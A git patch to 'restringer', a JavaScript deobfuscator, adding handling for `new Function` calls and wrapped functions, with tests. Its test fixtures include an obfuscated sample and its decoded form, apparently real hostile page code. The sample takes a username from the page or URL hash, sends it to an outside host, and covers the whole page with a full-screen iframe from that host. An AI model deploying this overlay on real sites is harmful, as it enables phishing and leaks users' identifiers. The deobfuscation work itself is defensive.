From 2515f3e407e88eeb0b35c3968646f281cfbdf24f Mon Sep 17 00:00:00 2001 From: Ben Baryo <60312583+BenBaryoPX@users.noreply.github.com> Date: Tue, 4 Apr 2023 13:20:17 +0300 Subject: [PATCH] Improve wrapped functions handling (#73) * Add replaceNewFuncCallsWithLiteralContent with tests * Expand unwrapIIFEs to include unwrapping of IIFEs with multiple statements or expressions. Add a relevant test case. * 1.7.0 * Skip cases where IIFE is used to initialize or set a value. Add TN tests * Add obfuscated sample for new Function and IIFEs unwrapping --- package-lock.json | 4 +- package.json | 2 +- src/modules/safe/index.js | 1 + .../replaceNewFuncCallsWithLiteralContent.js | 63 +++++++ src/modules/safe/unwrapIIFEs.js | 36 +++- src/restringer.js | 2 + tests/modules-tests.js | 37 ++++ tests/obfuscated-samples.js | 3 +- tests/resources/newFunc.js | 1 + tests/resources/newFunc.js-deob.js | 172 ++++++++++++++++++ 10 files changed, 312 insertions(+), 9 deletions(-) create mode 100644 src/modules/safe/replaceNewFuncCallsWithLiteralContent.js create mode 100644 tests/resources/newFunc.js create mode 100644 tests/resources/newFunc.js-deob.js diff --git a/package-lock.json b/package-lock.json index d5f61bb..f63e9ac 100644 --- a/package-lock.json +++ b/package-lock.json @@ -1,12 +1,12 @@ { "name": "restringer", - "version": "1.6.6", + "version": "1.7.0", "lockfileVersion": 3, "requires": true, "packages": { "": { "name": "restringer", - "version": "1.6.6", + "version": "1.7.0", "license": "MIT", "dependencies": { "flast": "^1.0.1", diff --git a/package.json b/package.json index 098d320..2d9ec83 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "restringer", - "version": "1.6.6", + "version": "1.7.0", "description": "Deobfuscate Javascript with emphasis on reconstructing strings", "main": "index.js", "bin": { diff --git a/src/modules/safe/index.js b/src/modules/safe/index.js index e6a4837..a094cfb 100644 --- a/src/modules/safe/index.js +++ b/src/modules/safe/index.js @@ -13,6 +13,7 @@ module.exports = { replaceFunctionShellsWithWrappedValueIIFE: require(__dirname + '/replaceFunctionShellsWithWrappedValueIIFE'), replaceIdentifierWithFixedAssignedValue: require(__dirname + '/replaceIdentifierWithFixedAssignedValue'), replaceIdentifierWithFixedValueNotAssignedAtDeclaration: require(__dirname + '/replaceIdentifierWithFixedValueNotAssignedAtDeclaration'), + replaceNewFuncCallsWithLiteralContent: require(__dirname + '/replaceNewFuncCallsWithLiteralContent'), replaceSequencesWithExpressions: require(__dirname + '/replaceSequencesWithExpressions'), resolveDeterministicIfStatements: require(__dirname + '/resolveDeterministicIfStatements'), resolveFunctionConstructorCalls: require(__dirname + '/resolveFunctionConstructorCalls'), diff --git a/src/modules/safe/replaceNewFuncCallsWithLiteralContent.js b/src/modules/safe/replaceNewFuncCallsWithLiteralContent.js new file mode 100644 index 0000000..fce1791 --- /dev/null +++ b/src/modules/safe/replaceNewFuncCallsWithLiteralContent.js @@ -0,0 +1,63 @@ +const {generateFlatAST} = require('flast'); +const logger = require(__dirname + '/../utils/logger'); +const getCache = require(__dirname + '/../utils/getCache'); +const generateHash = require(__dirname + '/../utils/generateHash'); + +/** + * Extract string values of eval call expressions, and replace calls with the actual code, without running it through eval. + * E.g. + * new Function('!function() {console.log("hello world")}()')(); + * will be replaced with + * !function () {console.log("hello world")}(); + * @param {Arborist} arb + * @param {Function} candidateFilter (optional) a filter to apply on the candidates list + * @return {Arborist} + */ +function replaceNewFuncCallsWithLiteralContent(arb, candidateFilter = () => true) { + const cache = getCache(arb.ast[0].scriptHash); + const candidates = arb.ast.filter(n => + n.type === 'NewExpression' && + n.parentKey === 'callee' && + n.parentNode?.arguments?.length === 0 && + n.callee?.name === 'Function' && + n.arguments?.length === 1 && + n.arguments[0].type === 'Literal' && + candidateFilter(n)); + + for (const c of candidates) { + const targetCodeStr = c.arguments[0].value; + const cacheName = `replaceEval-${generateHash(targetCodeStr)}`; + try { + if (!cache[cacheName]) { + let body; + if (targetCodeStr) { + body = generateFlatAST(targetCodeStr, {detailed: false})[0].body; + if (body.length > 1) { + body = { + type: 'BlockStatement', + body, + }; + } else { + body = body[0]; + if (body.type === 'ExpressionStatement') body = body.expression; + } + } else body = { + type: 'Literal', + value: targetCodeStr, + }; + cache[cacheName] = body; + } + let replacementNode = cache[cacheName]; + let targetNode = c.parentNode; + if (targetNode.parentNode.type === 'ExpressionStatement' && replacementNode.type === 'BlockStatement') { + targetNode = targetNode.parentNode; + } + arb.markNode(targetNode, replacementNode); + } catch (e) { + logger.debug(`[-] Unable to replace new function's body with call expression: ${e}`); + } + } + return arb; +} + +module.exports = replaceNewFuncCallsWithLiteralContent; \ No newline at end of file diff --git a/src/modules/safe/unwrapIIFEs.js b/src/modules/safe/unwrapIIFEs.js index e8303b6..47b1de4 100644 --- a/src/modules/safe/unwrapIIFEs.js +++ b/src/modules/safe/unwrapIIFEs.js @@ -10,18 +10,44 @@ function unwrapIIFEs(arb, candidateFilter = () => true) { !n.arguments.length && ['ArrowFunctionExpression', 'FunctionExpression'].includes(n.callee.type) && !n.callee.id && - ( + // IIFEs with a single return statement + ((( n.callee.body.type !== 'BlockStatement' || ( n.callee.body.body.length === 1 && n.callee.body.body[0].type === 'ReturnStatement') ) && - n.parentKey === 'init' && + n.parentKey === 'init') || + // Generic IIFE wrappers + (n.parentKey === 'ExpressionStatement' || + n.parentKey === 'argument' && + n.parentNode.type === 'UnaryExpression')) && candidateFilter(n)); - for (const c of candidates) { - const replacementNode = c.callee.body.type !== 'BlockStatement' ? c.callee.body : c.callee.body.body[0].argument; - arb.markNode(c, replacementNode); + candidatesLoop: for (const c of candidates) { + let targetNode = c; + let replacementNode = c.callee.body; + if (replacementNode.type === 'BlockStatement') { + let targetChild = replacementNode; + // IIFEs with a single return statement + if (replacementNode.body?.length === 1 && replacementNode.body[0].argument) replacementNode = replacementNode.body[0].argument; + // IIFEs with multiple statements or expressions + else while (targetNode && !targetNode.body) { + // Skip cases where IIFE is used to initialize or set a value + if (targetNode.parentKey === 'init' || targetNode.type === 'AssignmentExpression' ) continue candidatesLoop; + targetChild = targetNode; + targetNode = targetNode.parentNode; + } + if (!targetNode || !targetNode.body) targetNode = c; + else { + // Place the wrapped code instead of the wrapper node + replacementNode = { + ...targetNode, + body: [...targetNode.body.filter(n => n !== targetChild), ...replacementNode.body], + }; + } + } + arb.markNode(targetNode, replacementNode); } return arb; } diff --git a/src/restringer.js b/src/restringer.js index 9eac828..a81633d 100755 --- a/src/restringer.js +++ b/src/restringer.js @@ -25,6 +25,7 @@ const { replaceEvalCallsWithLiteralContent, replaceIdentifierWithFixedAssignedValue, replaceIdentifierWithFixedValueNotAssignedAtDeclaration, + replaceNewFuncCallsWithLiteralContent, replaceBooleanExpressionsWithIf, replaceSequencesWithExpressions, resolveFunctionConstructorCalls, @@ -113,6 +114,7 @@ class REstringer { replaceEvalCallsWithLiteralContent, replaceIdentifierWithFixedAssignedValue, replaceIdentifierWithFixedValueNotAssignedAtDeclaration, + replaceNewFuncCallsWithLiteralContent, replaceBooleanExpressionsWithIf, replaceSequencesWithExpressions, resolveFunctionConstructorCalls, diff --git a/tests/modules-tests.js b/tests/modules-tests.js index 4597253..185b890 100644 --- a/tests/modules-tests.js +++ b/tests/modules-tests.js @@ -233,6 +233,13 @@ case 1: console.log(1); a = 2; break;}}})();`, source: `let a; a = 3; const b = a * 2; console.log(b + a);`, expected: `let a;\na = 3;\nconst b = 3 * 2;\nconsole.log(b + 3);`, }, + { + enabled: true, + name: 'replaceNewFuncCallsWithLiteralContent - TP-1', + func: __dirname + '/../src/modules/safe/replaceNewFuncCallsWithLiteralContent', + source: `new Function("!function() {console.log('hello world')}()")();`, + expected: `!function () {\n console.log('hello world');\n}();`, + }, { enabled: true, name: 'replaceBooleanExpressionsWithIf - TP-1', @@ -389,6 +396,36 @@ case 1: console.log(1); a = 2; break;}}})();`, })();`, expected: `var a = b => c(b - 40);`, }, + { + enabled: true, + name: 'unwrapIIFEs - TP-3 (inline unwrapping)', + func: __dirname + '/../src/modules/safe/unwrapIIFEs', + source: `!function() { + var a = 'message'; + console.log(a); +}();`, + expected: `var a = 'message';\nconsole.log(a);`, + }, + { + enabled: true, + name: 'unwrapIIFEs - TN-1 (unary declarator init)', + func: __dirname + '/../src/modules/safe/unwrapIIFEs', + source: `var b = !function() { + var a = 'message'; + console.log(a); +}();`, + expected: `var b = !function() {\n\tvar a = 'message';\n\tconsole.log(a);\n}();`, + }, + { + enabled: true, + name: 'unwrapIIFEs - TN-2 (unary assignment right)', + func: __dirname + '/../src/modules/safe/unwrapIIFEs', + source: `b = !function() { + var a = 'message'; + console.log(a); +}();`, + expected: `b = !function() {\n\tvar a = 'message';\n\tconsole.log(a);\n}();`, + }, { enabled: true, name: 'unwrapSimpleOperations - TP-1', diff --git a/tests/obfuscated-samples.js b/tests/obfuscated-samples.js index e1c69bd..13d4186 100644 --- a/tests/obfuscated-samples.js +++ b/tests/obfuscated-samples.js @@ -2,12 +2,13 @@ module.exports = { // Order by approximate deobfuscation time, ascending 'JSFuck': 'jsfuck.js', 'Ant & Cockroach': 'ant.js', + 'New Function IIFE': 'newFunc.js', 'Hunter': 'hunter.js', '_$_': 'udu.js', 'Prototype Calls': 'prototypeCalls.js', - 'Obfuscator.io': 'obfuscatorIo.js', 'Caesar+': 'caesar.js', 'eval(Ox$': 'evalOxd.js', + 'Obfuscator.io': 'obfuscatorIo.js', '$s': 'ds.js', 'Local Proxies': 'localProxies.js', }; \ No newline at end of file diff --git a/tests/resources/newFunc.js b/tests/resources/newFunc.js new file mode 100644 index 0000000..d115fad --- /dev/null +++ b/tests/resources/newFunc.js @@ -0,0 +1 @@ +new Function('!function(){function t(){var e=["364LQAOhD","iframe","data-fiikfu","searchParams","999999","8FpuLea","10cZXSHP","3029155zGDxjW","12qNvHsa","ddrido","8964021vmeNuO","substring","fixed","567228cqlBcB","bottom","572509wwXbzV","margin","random","height","right","hash","abcdefghijklmnopqrstuvwxyz","378NHloDJ","478KOasfu","overflow","location","createElement","border","position","floor","left","appendChild","length","100%","491ObZCcR","40024ItvVfk","177822QQLRDD","style"];return(t=function(){return e})()}function e(n,a){var r=t();return(e=function(t,e){return r[t-=494]})(n,a)}(function(t,n){for(var a=e,r=t();;)try{if(472109===parseInt(a(497))/1*(-parseInt(a(524))/2)+-parseInt(a(499))/3*(-parseInt(a(506))/4)+parseInt(a(508))/5+-parseInt(a(509))/6*(-parseInt(a(516))/7)+parseInt(a(498))/8*(parseInt(a(523))/9)+-parseInt(a(507))/10*(-parseInt(a(511))/11)+-parseInt(a(514))/12*(parseInt(a(501))/13))break;r.push(r.shift())}catch(t){r.push(r.shift())}})(t),function(){var t=e,n=t(522),a=document.getElementById(t(510)).getAttribute(t(503)),r=new URL(atob("aHR0cHM6Ly9sbW8ub3NjaWkuaW8vPw=="));if(!a&&window[t(526)][t(521)])try{a=atob(window[t(526)][t(521)][t(512)](1))}catch(e){a=window[t(526)][t(521)][t(512)](1)}if(a){try{a=atob(a)}catch(t){}r.searchParams.append("username",a)}r[t(504)].append(n[Math[t(530)](Math[t(518)]()*n[t(495)])],n[Math[t(530)](Math[t(518)]()*n[t(495)])]);var s=document[t(527)](t(502));s[t(500)][t(529)]=t(513),s[t(500)].top="0",s[t(500)][t(531)]="0",s[t(500)][t(515)]="0",s[t(500)][t(520)]="0",s.style.width="100%",s.style[t(519)]=t(496),s[t(500)][t(528)]="0",s[t(500)][t(517)]="0",s.style.padding="0",s[t(500)][t(525)]="hidden",s.style.zIndex=t(505),s.src=r.toString(),document.body[t(494)](s)}()}();')(); \ No newline at end of file diff --git a/tests/resources/newFunc.js-deob.js b/tests/resources/newFunc.js-deob.js new file mode 100644 index 0000000..4bfdc3e --- /dev/null +++ b/tests/resources/newFunc.js-deob.js @@ -0,0 +1,172 @@ +function t() { + var e = [ + '364LQAOhD', + 'iframe', + 'data-fiikfu', + 'searchParams', + '999999', + '8FpuLea', + '10cZXSHP', + '3029155zGDxjW', + '12qNvHsa', + 'ddrido', + '8964021vmeNuO', + 'substring', + 'fixed', + '567228cqlBcB', + 'bottom', + '572509wwXbzV', + 'margin', + 'random', + 'height', + 'right', + 'hash', + 'abcdefghijklmnopqrstuvwxyz', + '378NHloDJ', + '478KOasfu', + 'overflow', + 'location', + 'createElement', + 'border', + 'position', + 'floor', + 'left', + 'appendChild', + 'length', + '100%', + '491ObZCcR', + '40024ItvVfk', + '177822QQLRDD', + 'style' + ]; + return (t = function () { + return e; + })(); +} +function e(n, a) { + var r = [ + '364LQAOhD', + 'iframe', + 'data-fiikfu', + 'searchParams', + '999999', + '8FpuLea', + '10cZXSHP', + '3029155zGDxjW', + '12qNvHsa', + 'ddrido', + '8964021vmeNuO', + 'substring', + 'fixed', + '567228cqlBcB', + 'bottom', + '572509wwXbzV', + 'margin', + 'random', + 'height', + 'right', + 'hash', + 'abcdefghijklmnopqrstuvwxyz', + '378NHloDJ', + '478KOasfu', + 'overflow', + 'location', + 'createElement', + 'border', + 'position', + 'floor', + 'left', + 'appendChild', + 'length', + '100%', + '491ObZCcR', + '40024ItvVfk', + '177822QQLRDD', + 'style' + ]; + return (e = function (t, e) { + return r[t -= 494]; + })(n, a); +} +(function (t, n) { + for (var r = [ + '364LQAOhD', + 'iframe', + 'data-fiikfu', + 'searchParams', + '999999', + '8FpuLea', + '10cZXSHP', + '3029155zGDxjW', + '12qNvHsa', + 'ddrido', + '8964021vmeNuO', + 'substring', + 'fixed', + '567228cqlBcB', + 'bottom', + '572509wwXbzV', + 'margin', + 'random', + 'height', + 'right', + 'hash', + 'abcdefghijklmnopqrstuvwxyz', + '378NHloDJ', + '478KOasfu', + 'overflow', + 'location', + 'createElement', + 'border', + 'position', + 'floor', + 'left', + 'appendChild', + 'length', + '100%', + '491ObZCcR', + '40024ItvVfk', + '177822QQLRDD', + 'style' + ];;) + try { + break; + r.push('data-fiikfu'); + } catch (t) { + r.push('data-fiikfu'); + } +}(t)); +(function () { + var n = 'abcdefghijklmnopqrstuvwxyz'; + var a = document.getElementById('ddrido').getAttribute('data-fiikfu'); + var r = new URL('https://lmo.oscii.io/?'); + if (!a && window.location.hash) + try { + a = atob(window.location.hash.substring(1)); + } catch (e) { + a = window[e(526)][e(521)][e(512)](1); + } + if (a) { + try { + a = atob(a); + } catch (t) { + } + r.searchParams.append('username', a); + } + r.searchParams.append('abcdefghijklmnopqrstuvwxyz'[Math.floor(Math.random() * 26)], 'abcdefghijklmnopqrstuvwxyz'[Math.floor(Math.random() * 26)]); + var s = document.createElement('iframe'); + s.style.position = 'fixed'; + s.style.top = '0'; + s.style.left = '0'; + s.style.bottom = '0'; + s.style.right = '0'; + s.style.width = '100%'; + s.style.height = '100%'; + s.style.border = '0'; + s.style.margin = '0'; + s.style.padding = '0'; + s.style.overflow = 'hidden'; + s.style.zIndex = '999999'; + s.src = r.toString(); + document.body.appendChild(s); +}()); \ No newline at end of file